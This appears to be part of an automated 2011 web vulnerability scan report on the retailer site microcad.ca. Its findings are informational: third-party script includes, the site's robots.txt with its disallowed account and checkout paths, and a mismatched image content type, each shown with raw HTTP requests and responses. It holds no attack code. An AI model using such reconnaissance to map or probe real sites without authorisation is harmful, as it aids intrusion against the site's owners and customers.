<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
       <title>Microcad.ca | McA
...[SNIP]...
<p id="siteseal"><script type="text/javascript" src="https://seal.godaddy.com/getSeal?sealID=J1AC4JSCyRkHT7RkNR74WDnAE6gCXcX7GcaWPukWaY1iN1vWF7f2CMS85"></script>
...[SNIP]...
<!-- Javascript Start -->
<script type="text/javascript" language="javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.2/jquery.min.js"></script>
<script type="text/javascript" language="javascript" src="https://ajax.googleapis.com/ajax/libs/jqueryui/1.8.13/jquery-ui.min.js"></script>
...[SNIP]...

6. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.microcad.ca
Path:   /products/details/McAfee-SafeBoot-Web-Server-SSL-Certificate-with-1-Year-Gold-Support-1-User-1011956760

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.microcad.ca

Response

HTTP/1.1 200 OK
Date: Sat, 03 Sep 2011 21:26:38 GMT
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Thu, 28 Jul 2011 01:26:35 GMT
ETag: "6c182a-9a-4a9170e45f71e"
Accept-Ranges: none
Content-Length: 154
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain

User-agent: *
Disallow: /orders
Disallow: /addressbook
Disallow: /account/profile
Disallow: /cart
Disallow: /checkout
Disallow: /rma
Disallow: /*&noidx=1*

7. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.microcad.ca
Path:   /livezilla/images/carrier_logo.gif

Issue detail

The response contains the following Content-type statement:The response states that it contains a GIF image. However, it actually appears to contain a PNG image.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /livezilla/images/carrier_logo.gif HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3)
Proxy-Connection: Keep-Alive
Host: www.microcad.ca

Response

HTTP/1.1 200 OK
Date: Sat, 03 Sep 2011 21:47:50 GMT
Server: Apache/2.2.14 (Ubuntu)
Last-Modified: Tue, 21 Jun 2011 21:35:04 GMT
ETag: "6c01ae-2e21-4a63fa001468b"
Accept-Ranges: none
Content-Length: 11809
Content-Type: image/gif

.PNG
.
...IHDR.......P.....\m:.....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="A
...[SNIP]...

Report generated by XSS.CX at Sat Sep 03 16:47:50 GMT-06:00 2011.